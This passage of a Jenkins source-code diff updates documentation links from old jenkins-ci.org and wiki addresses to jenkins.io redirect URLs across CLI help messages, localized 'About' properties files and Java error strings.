\u0441\u044a\u0440\u0432\u044a\u0440-\u043f\u043e\u0441\u0440\u0435\u0434\u043d\u0438\u043a \u043f\u043e HTTP \u0437\u0430 \u0442\u0443\u043d\u0435\u043b \u043f\u043e HTTPS.\n\ - \u0417\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f: http://jenkins-ci.org/https-proxy-tunnel\n\ + \u0417\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f: https://jenkins.io/redirect/cli-https-proxy-tunnel\n\ -noCertificateCheck : \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u0437\u0430 HTTPS (\u0412\u041d\u0418\u041c\u0410\u041d\u0418\u0415!)\n\ -noKeyAuth : \u0431\u0435\u0437 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0441 \u0447\u0430\u0441\u0442\u0435\u043d \u043a\u043b\u044e\u0447 \u0437\u0430 SSH, \u043e\u043f\u0446\u0438\u044f\u0442\u0430 \u0435\n\ \u043d\u0435\u0441\u044a\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u0430 \u0441 \u043e\u043f\u0446\u0438\u044f\u0442\u0430 \u201e-i\u201c\n\n\ diff --git a/cli/src/main/resources/hudson/cli/client/Messages_de.properties b/cli/src/main/resources/hudson/cli/client/Messages_de.properties index 55769d64de..1fb09d2cb4 100644 --- a/cli/src/main/resources/hudson/cli/client/Messages_de.properties +++ b/cli/src/main/resources/hudson/cli/client/Messages_de.properties @@ -4,7 +4,7 @@ CLI.Usage=Jenkins Kommandozeilenschnittstelle (Jenkins CLI)\n\ Optionen:\n\ -s URL : URL des Hudson-Servers (Wert der Umgebungsvariable JENKINS_URL ist der Vorgabewert)\n\ -i KEY : Datei mit privatem SSH-Schl\u00fcssel zur Authentisierung\n\ - -p HOST\:PORT : HTTP-Proxy-Host und -Port f\u00fcr HTTPS-Proxy-Tunnel. Siehe http://jenkins-ci.org/https-proxy-tunnel\n\ + -p HOST\:PORT : HTTP-Proxy-Host und -Port f\u00fcr HTTPS-Proxy-Tunnel. Siehe https://jenkins.io/redirect/cli-https-proxy-tunnel\n\ -noCertificateCheck : \u00dcberspringt die Zertifikatspr\u00fcfung bei HTTPS. Bitte mit Vorsicht einsetzen.\n\ -noKeyAuth : \u00dcberspringt die Authentifizierung mit einem privaten SSH-Schl\u00fcssel. Nicht kombinierbar mit -i\n\ \n\ diff --git a/cli/src/main/resources/hudson/cli/client/Messages_pt_BR.properties b/cli/src/main/resources/hudson/cli/client/Messages_pt_BR.properties index 61e1895c4d..779e88f1a6 100644 --- a/cli/src/main/resources/hudson/cli/client/Messages_pt_BR.properties +++ b/cli/src/main/resources/hudson/cli/client/Messages_pt_BR.properties @@ -26,7 +26,7 @@ CLI.Usage=Jenkins CLI\n\ Op\u00e7\u00f5es:\n\ -s URL : a URL do servidor (por padr\u00e3o a vari\u00e1vel de ambiente JENKINS_URL \u00e9 usada)\n\ -i KEY : arquivo contendo a chave SSH privada usada para autentica\u00e7\u00e3o\n\ - -p HOST:PORT : host e porta do proxy HTTP para tunelamento de proxy HTTPS. Veja http://jenkins-ci.org/https-proxy-tunnel\n\ + -p HOST:PORT : host e porta do proxy HTTP para tunelamento de proxy HTTPS. Veja https://jenkins.io/redirect/cli-https-proxy-tunnel\n\ -noCertificateCheck : ignora completamente a valida\u00e7\u00e3o dos certificados HTTPS. Use com cautela\n\ -noKeyAuth : n\u00e3o tenta carregar a chave privada para autentica\u00e7\u00e3o SSH. Conflita com -i\n\ \n\ diff --git a/cli/src/main/resources/hudson/cli/client/Messages_zh_TW.properties b/cli/src/main/resources/hudson/cli/client/Messages_zh_TW.properties index af303db034..4a90686244 100644 --- a/cli/src/main/resources/hudson/cli/client/Messages_zh_TW.properties +++ b/cli/src/main/resources/hudson/cli/client/Messages_zh_TW.properties @@ -28,7 +28,7 @@ CLI.Usage=Jenkins CLI\n\ \u9078\u9805:\n\ -s URL : \u4f3a\u670d\u5668 URL (\u9810\u8a2d\u503c\u70ba JENKINS_URL \u74b0\u5883\u8b8a\u6578)\n\ -i KEY : \u9a57\u8b49\u7528\u7684 SSH \u79c1\u9470\u6a94\n\ - -p HOST:PORT : \u5efa HTTPS Proxy Tunnel \u7684 HTTP \u4ee3\u7406\u4f3a\u670d\u5668\u4e3b\u6a5f\u53ca\u9023\u63a5\u57e0\u3002\u8acb\u53c3\u8003 http://jenkins-ci.org/https-proxy-tunnel\n\ + -p HOST:PORT : \u5efa HTTPS Proxy Tunnel \u7684 HTTP \u4ee3\u7406\u4f3a\u670d\u5668\u4e3b\u6a5f\u53ca\u9023\u63a5\u57e0\u3002\u8acb\u53c3\u8003 https://jenkins.io/redirect/cli-https-proxy-tunnel\n\ -noCertificateCheck : \u5b8c\u5168\u7565\u904e HTTPS \u6191\u8b49\u6aa2\u67e5\u3002\u8acb\u5c0f\u5fc3\u4f7f\u7528\n\ \n\ \u53ef\u7528\u7684\u6307\u4ee4\u53d6\u6c7a\u65bc\u4f3a\u670d\u5668\u3002\u57f7\u884c 'help' \u6307\u4ee4\u53ef\u4ee5\u67e5\u770b\u5b8c\u6574\u6e05\u55ae\u3002 diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index 8a6e1a9d06..9ff620a894 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -858,7 +858,7 @@ public class Functions { if(footerURL == null) { footerURL = SystemProperties.getString("hudson.footerURL"); if(StringUtils.isBlank(footerURL)) { - footerURL = "http://jenkins-ci.org/"; + footerURL = "https://jenkins.io/"; } } return footerURL; diff --git a/core/src/main/java/hudson/Launcher.java b/core/src/main/java/hudson/Launcher.java index d430630b88..ade4ce93c8 100644 --- a/core/src/main/java/hudson/Launcher.java +++ b/core/src/main/java/hudson/Launcher.java @@ -1064,7 +1064,7 @@ public abstract class Launcher { * A launcher which delegates to a provided inner launcher. * Allows subclasses to only implement methods they want to override. * Originally, this launcher has been implemented in - * + * * Custom Tools Plugin. * * @author rcampbell diff --git a/core/src/main/java/hudson/Plugin.java b/core/src/main/java/hudson/Plugin.java index bfe8e0fbe4..5406fb21cb 100644 --- a/core/src/main/java/hudson/Plugin.java +++ b/core/src/main/java/hudson/Plugin.java @@ -53,8 +53,8 @@ import org.kohsuke.stapler.HttpResponses; *

                                                                      * A plugin may {@linkplain #Plugin derive from this class}, or it may directly define extension * points annotated with {@link hudson.Extension}. For a list of extension - * points, see - * https://wiki.jenkins-ci.org/display/JENKINS/Extension+points. + * points, see + * https://jenkins.io/redirect/developer/extension-points. * *

                                                                      * One instance of a plugin is created by Hudson, and used as the entry point diff --git a/core/src/main/java/hudson/Proc.java b/core/src/main/java/hudson/Proc.java index 8561bdbd64..d5f82a6511 100644 --- a/core/src/main/java/hudson/Proc.java +++ b/core/src/main/java/hudson/Proc.java @@ -318,7 +318,7 @@ public abstract class Proc { try { int r = proc.waitFor(); - // see http://wiki.jenkins-ci.org/display/JENKINS/Spawning+processes+from+build + // see https://jenkins.io/redirect/troubleshooting/process-leaked-file-descriptors // problems like that shows up as infinite wait in join(), which confuses great many users. // So let's do a timed wait here and try to diagnose the problem if (copier!=null) copier.join(10*1000); @@ -326,7 +326,7 @@ public abstract class Proc { if((copier!=null && copier.isAlive()) || (copier2!=null && copier2.isAlive())) { // looks like handles are leaking. // closing these handles should terminate the threads. - String msg = "Process leaked file descriptors. See http://wiki.jenkins-ci.org/display/JENKINS/Spawning+processes+from+build for more information"; + String msg = "Process leaked file descriptors. See https://jenkins.io/redirect/troubleshooting/process-leaked-file-descriptors for more information"; Throwable e = new Exception().fillInStackTrace(); LOGGER.log(Level.WARNING,msg,e); @@ -503,7 +503,7 @@ public abstract class Proc { /** * An instance of {@link Proc}, which has an internal workaround for JENKINS-23271. * It presumes that the instance of the object is guaranteed to be used after the {@link Proc#join()} call. - * See JENKINS-23271> + * See JENKINS-23271> * @author Oleg Nenashev */ @Restricted(NoExternalUse.class) diff --git a/core/src/main/java/hudson/cli/CLICommand.java b/core/src/main/java/hudson/cli/CLICommand.java index 4662084ad1..bc5d2ea4c5 100644 --- a/core/src/main/java/hudson/cli/CLICommand.java +++ b/core/src/main/java/hudson/cli/CLICommand.java @@ -319,7 +319,7 @@ public abstract class CLICommand implements ExtensionPoint, Cloneable { public Channel checkChannel() throws AbortException { if (channel==null) - throw new AbortException("This command can only run with Jenkins CLI. See https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+CLI"); + throw new AbortException("This command can only run with Jenkins CLI. See https://jenkins.io/redirect/cli-command-requires-channel"); return channel; } diff --git a/core/src/main/java/hudson/model/Descriptor.java b/core/src/main/java/hudson/model/Descriptor.java index 461520cc27..2db2873fac 100644 --- a/core/src/main/java/hudson/model/Descriptor.java +++ b/core/src/main/java/hudson/model/Descriptor.java @@ -200,11 +200,11 @@ public abstract class Descriptor> implements Saveable, public Descriptor getItemTypeDescriptorOrDie() { Class it = getItemType(); if (it == null) { - throw new AssertionError(clazz + " is not an array/collection type in " + displayName + ". See https://wiki.jenkins-ci.org/display/JENKINS/My+class+is+missing+descriptor"); + throw new AssertionError(clazz + " is not an array/collection type in " + displayName + ". See https://jenkins.io/redirect/developer/class-is-missing-descriptor"); } Descriptor d = Jenkins.getInstance().getDescriptor(it); if (d==null) - throw new AssertionError(it +" is missing its descriptor in "+displayName+". See https://wiki.jenkins-ci.org/display/JENKINS/My+class+is+missing+descriptor"); + throw new AssertionError(it +" is missing its descriptor in "+displayName+". See https://jenkins.io/redirect/developer/class-is-missing-descriptor"); return d; } diff --git a/core/src/main/java/hudson/model/FileParameterValue.java b/core/src/main/java/hudson/model/FileParameterValue.java index 817b671415..16777ea6be 100644 --- a/core/src/main/java/hudson/model/FileParameterValue.java +++ b/core/src/main/java/hudson/model/FileParameterValue.java @@ -163,7 +163,7 @@ public class FileParameterValue extends ParameterValue { /** * Compares file parameters (existing files will be considered as different). - * @since 1.586 Function has been modified in order to avoid JENKINS-19017 issue (wrong merge of builds in the queue). + * @since 1.586 Function has been modified in order to avoid JENKINS-19017 issue (wrong merge of builds in the queue). */ @Override public boolean equals(Object obj) { diff --git a/core/src/main/java/hudson/model/Queue.java b/core/src/main/java/hudson/model/Queue.java index 11720e9cfb..ca27cac69b 100644 --- a/core/src/main/java/hudson/model/Queue.java +++ b/core/src/main/java/hudson/model/Queue.java @@ -1593,8 +1593,8 @@ public class Queue extends ResourceController implements Saveable { // of isBuildBlocked(p) will become a bottleneck before updateSnapshot() will. Additionally // since the snapshot itself only ever has at most one reference originating outside of the stack // it should remain in the eden space and thus be cheap to GC. - // See https://issues.jenkins-ci.org/browse/JENKINS-27708?focusedCommentId=225819&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-225819 - // or https://issues.jenkins-ci.org/browse/JENKINS-27708?focusedCommentId=225906&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-225906 + // See https://jenkins-ci.org/issue/27708?focusedCommentId=225819&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-225819 + // or https://jenkins-ci.org/issue/27708?focusedCommentId=225906&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-225906 // for alternative fixes of this issue. updateSnapshot(); } diff --git a/core/src/main/java/hudson/model/Slave.java b/core/src/main/java/hudson/model/Slave.java index 2410028217..0835e66ec2 100644 --- a/core/src/main/java/hudson/model/Slave.java +++ b/core/src/main/java/hudson/model/Slave.java @@ -87,7 +87,7 @@ import org.kohsuke.stapler.StaplerResponse; * On February, 2016 a general renaming was done internally: the "slave" term was replaced by * "Agent". This change was applied in: UI labels/HTML pages, javadocs and log messages. * Java classes, fields, methods, etc were not renamed to avoid compatibility issues. - * See JENKINS-27268. + * See JENKINS-27268. * * @author Kohsuke Kawaguchi */ diff --git a/core/src/main/java/hudson/util/ArgumentListBuilder.java b/core/src/main/java/hudson/util/ArgumentListBuilder.java index 255208737a..8023fa77d0 100644 --- a/core/src/main/java/hudson/util/ArgumentListBuilder.java +++ b/core/src/main/java/hudson/util/ArgumentListBuilder.java @@ -233,7 +233,7 @@ public class ArgumentListBuilder implements Serializable, Cloneable { * * @param original Resolution will be delegated to this resolver. Resolved * values will be escaped afterwards. - * @see JENKINS-10539 + * @see JENKINS-10539 */ private static VariableResolver propertiesGeneratingResolver(final VariableResolver original) { diff --git a/core/src/main/java/hudson/util/ProcessTree.java b/core/src/main/java/hudson/util/ProcessTree.java index b81cfcdd2e..f851729a4c 100644 --- a/core/src/main/java/hudson/util/ProcessTree.java +++ b/core/src/main/java/hudson/util/ProcessTree.java @@ -1201,7 +1201,7 @@ public abstract class ProcessTree implements Iterable, IProcessTree, arguments.add(m.readString()); } } catch (IndexOutOfBoundsException e) { - throw new IllegalStateException("Failed to parse arguments: pid="+pid+", arg0="+args0+", arguments="+arguments+", nargs="+argc+". Please run 'ps e "+pid+"' and report this to https://issues.jenkins-ci.org/browse/JENKINS-9634",e); + throw new IllegalStateException("Failed to parse arguments: pid="+pid+", arg0="+args0+", arguments="+arguments+", nargs="+argc+". Please see https://jenkins.io/redirect/troubleshooting/darwin-failed-to-parse-arguments",e); } // read env vars that follow diff --git a/core/src/main/java/jenkins/model/RunIdMigrator.java b/core/src/main/java/jenkins/model/RunIdMigrator.java index 5675d8ab4a..eb6bc83c34 100644 --- a/core/src/main/java/jenkins/model/RunIdMigrator.java +++ b/core/src/main/java/jenkins/model/RunIdMigrator.java @@ -166,7 +166,7 @@ public final class RunIdMigrator { doMigrate(dir); save(dir); if (jenkinsHome != null && offeredToUnmigrate.add(jenkinsHome)) - LOGGER.log(WARNING, "Build record migration (https://wiki.jenkins-ci.org/display/JENKINS/JENKINS-24380+Migration) is one-way. If you need to downgrade Jenkins, run: {0}", getUnmigrationCommandLine(jenkinsHome)); + LOGGER.log(WARNING, "Build record migration (https://jenkins.io/redirect/build-record-migration) is one-way. If you need to downgrade Jenkins, run: {0}", getUnmigrationCommandLine(jenkinsHome)); return true; } diff --git a/core/src/main/java/jenkins/model/item_category/ItemCategory.java b/core/src/main/java/jenkins/model/item_category/ItemCategory.java index 6efdefd2f8..1f80cc82a1 100644 --- a/core/src/main/java/jenkins/model/item_category/ItemCategory.java +++ b/core/src/main/java/jenkins/model/item_category/ItemCategory.java @@ -44,7 +44,7 @@ public abstract class ItemCategory implements ExtensionPoint { * This field indicates how much non-default categories are required in * order to start showing them in Jenkins. * This field is restricted for the internal use only, because all other changes would cause binary compatibility issues. - * See JENKINS-36593 for more info. + * See JENKINS-36593 for more info. */ @Restricted(NoExternalUse.class) public static int MIN_TOSHOW = 1; diff --git a/core/src/main/java/jenkins/slaves/restarter/WinswSlaveRestarter.java b/core/src/main/java/jenkins/slaves/restarter/WinswSlaveRestarter.java index f9bd660a21..8dbdc8ab89 100644 --- a/core/src/main/java/jenkins/slaves/restarter/WinswSlaveRestarter.java +++ b/core/src/main/java/jenkins/slaves/restarter/WinswSlaveRestarter.java @@ -52,7 +52,7 @@ public class WinswSlaveRestarter extends SlaveRestarter { // this command. If that is the case, there's nothing we can do about it. int r = exec("restart!"); throw new IOException("Restart failure. '"+exe+" restart' completed with "+r+" but I'm still alive! " - + "See https://wiki.jenkins-ci.org/display/JENKINS/Distributed+builds#Distributedbuilds-Windowsslaveserviceupgrades" + + "See https://jenkins.io/redirect/troubleshooting/windows-agent-restart" + " for a possible explanation and solution"); } diff --git a/core/src/main/resources/hudson/AboutJenkins/index.properties b/core/src/main/resources/hudson/AboutJenkins/index.properties index 5bb26ae164..33e9a29740 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. about=About Jenkins {0} -blurb=Jenkins is a community-developed open-source automation server. +blurb=Jenkins is a community-developed open-source automation server. dependencies=Jenkins depends on the following 3rd party libraries plugin.dependencies=License and dependency information for plugins diff --git a/core/src/main/resources/hudson/AboutJenkins/index_cs.properties b/core/src/main/resources/hudson/AboutJenkins/index_cs.properties index 5d65f6c53b..c31e32c160 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_cs.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_cs.properties @@ -1,4 +1,4 @@ # This file is under the MIT License by authors -blurb=Jenkins je komunitou vyv\u00EDjen\u00FD server pr\u016Fb\u011B\u017En\u00E9 integrace s otev\u0159en\u00FDm zdrojov\u00FDm k\u00F3dem. +blurb=Jenkins je komunitou vyv\u00EDjen\u00FD server pr\u016Fb\u011B\u017En\u00E9 integrace s otev\u0159en\u00FDm zdrojov\u00FDm k\u00F3dem. dependencies=Jenkins z\u00E1vis\u00ED na n\u00E1sleduj\u00EDc\u00EDch knihovn\u00E1ch 3. stran. diff --git a/core/src/main/resources/hudson/AboutJenkins/index_da.properties b/core/src/main/resources/hudson/AboutJenkins/index_da.properties index fad7253196..a97dcba293 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_da.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_da.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. about=Om Jenkins {0} -blurb=Jenkins er en f\u00E6llesskab udviklede open-source continuous integration server. +blurb=Jenkins er en f\u00E6llesskab udviklede open-source continuous integration server. dependencies=Jenkins afh\u00E6nger af de f\u00F8lgende 3. parts libraries diff --git a/core/src/main/resources/hudson/AboutJenkins/index_de.properties b/core/src/main/resources/hudson/AboutJenkins/index_de.properties index c35a151a6d..1d0626fd82 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_de.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_de.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. about=\u00DCber Jenkins {0} -blurb=Jenkins ist ein Open Source Continuous Integration Server. +blurb=Jenkins ist ein Open Source Continuous Integration Server. dependencies=Jenkins benutzt folgende Dritthersteller-Bibliotheken. No\ information\ recorded=Keine Informationen verf\u00FCgbar diff --git a/core/src/main/resources/hudson/AboutJenkins/index_es.properties b/core/src/main/resources/hudson/AboutJenkins/index_es.properties index c86fbea162..d58fbc63eb 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_es.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_es.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. about=Acerca de Jenkins {0} -blurb=Jenkins un servidor de Integraci\u00F3n Cont\u00EDnua, de c\u00F3digo abierto y desarrollado en comunidad. +blurb=Jenkins un servidor de Integraci\u00F3n Cont\u00EDnua, de c\u00F3digo abierto y desarrollado en comunidad. dependencies=Jenkins depende de las siguientes librerias de terceros. diff --git a/core/src/main/resources/hudson/AboutJenkins/index_fi.properties b/core/src/main/resources/hudson/AboutJenkins/index_fi.properties index a182a18565..7f78e833b9 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_fi.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_fi.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. about=Tietoja Jenkinsist\u00E4 {0} -blurb=Jenkins on yhteis\u00F6kehitteinen, avoimen l\u00E4hdekoodin jatkuvan integroinnin palvelinohjelmisto +blurb=Jenkins on yhteis\u00F6kehitteinen, avoimen l\u00E4hdekoodin jatkuvan integroinnin palvelinohjelmisto dependencies=Jenkins k\u00E4ytt\u00E4\u00E4 seuraavia kolmannen osapuolen kirjastoja diff --git a/core/src/main/resources/hudson/AboutJenkins/index_fr.properties b/core/src/main/resources/hudson/AboutJenkins/index_fr.properties index e58703411e..d4d9f46e11 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_fr.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_fr.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. about=A propos de Jenkins {0} -blurb=Jenkins est un serveur d''int\u00e9gration continue d\u00e9velopp\u00e9 par la communaut\u00e9 open-source. +blurb=Jenkins est un serveur d''int\u00e9gration continue d\u00e9velopp\u00e9 par la communaut\u00e9 open-source. dependencies=Jenkins d\u00e9pend des librairies externes suivantes plugin.dependencies=Licence et informations de d\u00e9pendance pour les plugins : diff --git a/core/src/main/resources/hudson/AboutJenkins/index_hu.properties b/core/src/main/resources/hudson/AboutJenkins/index_hu.properties index 2d047c885b..d9057950b3 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_hu.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_hu.properties @@ -1,5 +1,5 @@ # This file is under the MIT License by authors about=Jenkins {0} N\u00E9vjegye -blurb=Jenkins egy k\u00F6z\u00F6ss\u00E9gi fejleszt\u00E9s\u0171, ny\u00EDlt forr\u00E1s\u00FA CI szerver. +blurb=Jenkins egy k\u00F6z\u00F6ss\u00E9gi fejleszt\u00E9s\u0171, ny\u00EDlt forr\u00E1s\u00FA CI szerver. dependencies=Jenking a k\u00F6vetkez\u0151 3. f\u00E9lt\u0151l sz\u00E1rmaz\u00F3 k\u00F6nyvt\u00E1rakt\u00F3l f\u00FCgg. diff --git a/core/src/main/resources/hudson/AboutJenkins/index_it.properties b/core/src/main/resources/hudson/AboutJenkins/index_it.properties index f4b786b035..22a3db714d 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_it.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_it.properties @@ -1,5 +1,5 @@ # This file is under the MIT License by authors about=Informazioni su Jenkins {0} -blurb=Jenkins \u00E8 un server di "continuous integration" a codice aperto sviluppato da una comunit\u00E0. +blurb=Jenkins \u00E8 un server di "continuous integration" a codice aperto sviluppato da una comunit\u00E0. dependencies=Jenkins dipende dalle seguenti librerie di terze parti. diff --git a/core/src/main/resources/hudson/AboutJenkins/index_ja.properties b/core/src/main/resources/hudson/AboutJenkins/index_ja.properties index d4c5b5f961..5f4a40a4c0 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_ja.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_ja.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. about=Jenkins {0} \u306b\u3064\u3044\u3066 -blurb=Jenkins \u306f\u30b3\u30df\u30e5\u30cb\u30c6\u30a3\u3067\u958b\u767a\u3055\u308c\u3066\u3044\u308b\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u306eCI\u30b5\u30fc\u30d0\u3067\u3059\u3002 +blurb=Jenkins \u306f\u30b3\u30df\u30e5\u30cb\u30c6\u30a3\u3067\u958b\u767a\u3055\u308c\u3066\u3044\u308b\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u306eCI\u30b5\u30fc\u30d0\u3067\u3059\u3002 dependencies=Jenkins \u306F\u6B21\u306E\u30B5\u30FC\u30C9\u30D1\u30FC\u30C6\u30A3\u306E\u30E9\u30A4\u30D6\u30E9\u30EA\u3092\u4F7F\u7528\u3057\u3066\u3044\u307E\u3059\u3002 plugin.dependencies=\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u30e9\u30a4\u30bb\u30f3\u30b9\u3068\u4f9d\u5b58\u6027: diff --git a/core/src/main/resources/hudson/AboutJenkins/index_lt.properties b/core/src/main/resources/hudson/AboutJenkins/index_lt.properties index e99d3c32fe..a46c3ea780 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_lt.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_lt.properties @@ -1,5 +1,5 @@ about=Apie Jenkins {0} -blurb=Jenkins - bendruomen\u0117s kuriamas atviro kodo pastovios integracijos (CIS) serveris. +blurb=Jenkins - bendruomen\u0117s kuriamas atviro kodo pastovios integracijos (CIS) serveris. dependencies=Jenkins priklauso nuo \u0161i\u0173 3-\u0173j\u0173 \u0161ali\u0173 bibliotek\u0173. plugin.dependencies=Pried\u0173 licencijos ir priklausomybi\u0173 informacija static.dependencies=Statiniai resursai diff --git a/core/src/main/resources/hudson/AboutJenkins/index_nb_NO.properties b/core/src/main/resources/hudson/AboutJenkins/index_nb_NO.properties index 1cd9084adc..fdd1020a6c 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_nb_NO.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_nb_NO.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. about=Om Jenkins -blurb=Jenkins er en fellesskaps-utviklet, \u00E5pen kildekode kontinuerlig integrasjonsserver. +blurb=Jenkins er en fellesskaps-utviklet, \u00E5pen kildekode kontinuerlig integrasjonsserver. dependencies=Jenkins benytter f\u00F8lgende tredjeparts-biblioteker. diff --git a/core/src/main/resources/hudson/AboutJenkins/index_pl.properties b/core/src/main/resources/hudson/AboutJenkins/index_pl.properties index 4d44c42119..3fc4d0a8c8 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_pl.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_pl.properties @@ -20,7 +20,7 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. about=O Jenkinsie {0} -blurb=Jenkins jest rozwijanym przez spo\u0142eczno\u015B\u0107 open-source serwerem Continuous Integration +blurb=Jenkins jest rozwijanym przez spo\u0142eczno\u015B\u0107 open-source serwerem Continuous Integration dependencies=Jenkins jest oparty na nast\u0119puj\u0105cych zewn\u0119trznych bibliotekach: plugin.dependencies=Informacja o licencji i zale\u017Cno\u015Bci plugin\u00F3w: static.dependencies=Statyczne zasoby diff --git a/core/src/main/resources/hudson/AboutJenkins/index_pt_BR.properties b/core/src/main/resources/hudson/AboutJenkins/index_pt_BR.properties index 1b3eae7474..9f6b73ebfa 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_pt_BR.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_pt_BR.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. about=Sobre o Jenkins {0} -blurb=Jenkins \u00E9 um servidor de aplica\u00E7\u00E3o cont\u00EDnua desenvolvido em modo open-source pela comunidade. +blurb=Jenkins \u00E9 um servidor de aplica\u00E7\u00E3o cont\u00EDnua desenvolvido em modo open-source pela comunidade. dependencies=Jenkins depende das seguintes depend\u00EAncias de terceiros: No\ information\ recorded=Nenhuma informa\u00e7\u00e3o registrada # License and dependency information for plugins: diff --git a/core/src/main/resources/hudson/AboutJenkins/index_ru.properties b/core/src/main/resources/hudson/AboutJenkins/index_ru.properties index 295096a453..5512833e3e 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_ru.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_ru.properties @@ -21,6 +21,6 @@ # THE SOFTWARE. about=\u041E Jenkins {0} -blurb=Jenkins \u0441\u0435\u0440\u0432\u0435\u0440 \u043D\u0435\u043F\u0440\u0435\u0440\u044B\u0432\u043D\u043E\u0439 \u0438\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 \u043E\u0442\u043A\u0440\u044B\u0442\u044B\u043C \u0438\u0441\u0445\u043E\u0434\u043D\u044B\u043C \u043A\u043E\u0434\u043E\u043C. +blurb=Jenkins \u0441\u0435\u0440\u0432\u0435\u0440 \u043D\u0435\u043F\u0440\u0435\u0440\u044B\u0432\u043D\u043E\u0439 \u0438\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 \u043E\u0442\u043A\u0440\u044B\u0442\u044B\u043C \u0438\u0441\u0445\u043E\u0434\u043D\u044B\u043C \u043A\u043E\u0434\u043E\u043C. dependencies=Jenkins \u0438\u0441\u043F\u043E\u043B\u044C\u0437\u0443\u0435\u0442 \u0441\u043B\u0435\u0434\u0443\u044E\u0449\u0438\u0435 \u0441\u0442\u043E\u0440\u043E\u043D\u043D\u0438\u0435 \u0431\u0438\u0431\u043B\u0438\u043E\u0442\u0435\u043A\u0438. plugin.dependencies=\u0418\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u044F \u043E \u043B\u0438\u0446\u0435\u043D\u0437\u0438\u044F\u0445 \u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043C\u043E\u0441\u0442\u044F\u0445 \u043F\u043B\u0430\u0433\u0438\u043D\u043E\u0432: diff --git a/core/src/main/resources/hudson/AboutJenkins/index_sr.properties b/core/src/main/resources/hudson/AboutJenkins/index_sr.properties index c490046deb..5c3d7a7bbf 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_sr.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_sr.properties @@ -1,7 +1,7 @@ # This file is under the MIT License by authors about=\u041E Jenkins-\u0443 {0} -blurb=Jenkins \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u0430 \u043A\u043E\u043D\u0442\u0438\u043D\u0443\u0438\u0440\u0430\u043D\u0443 \u0438\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0458\u0443 \u0441\u0430 \u043E\u0442\u0432\u043E\u0440\u0435\u043D\u0438\u043C \u0438\u0437\u0432\u043E\u0440\u043D\u0438\u043C \u043A\u043E\u0434\u043E\u043C. +blurb=Jenkins \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u0430 \u043A\u043E\u043D\u0442\u0438\u043D\u0443\u0438\u0440\u0430\u043D\u0443 \u0438\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0458\u0443 \u0441\u0430 \u043E\u0442\u0432\u043E\u0440\u0435\u043D\u0438\u043C \u0438\u0437\u0432\u043E\u0440\u043D\u0438\u043C \u043A\u043E\u0434\u043E\u043C. dependencies=Jenkins \u0437\u0430\u0432\u0438\u0441\u0438 \u043E\u0434 \u0441\u0442\u0440\u0430\u043D\u0438\u0445 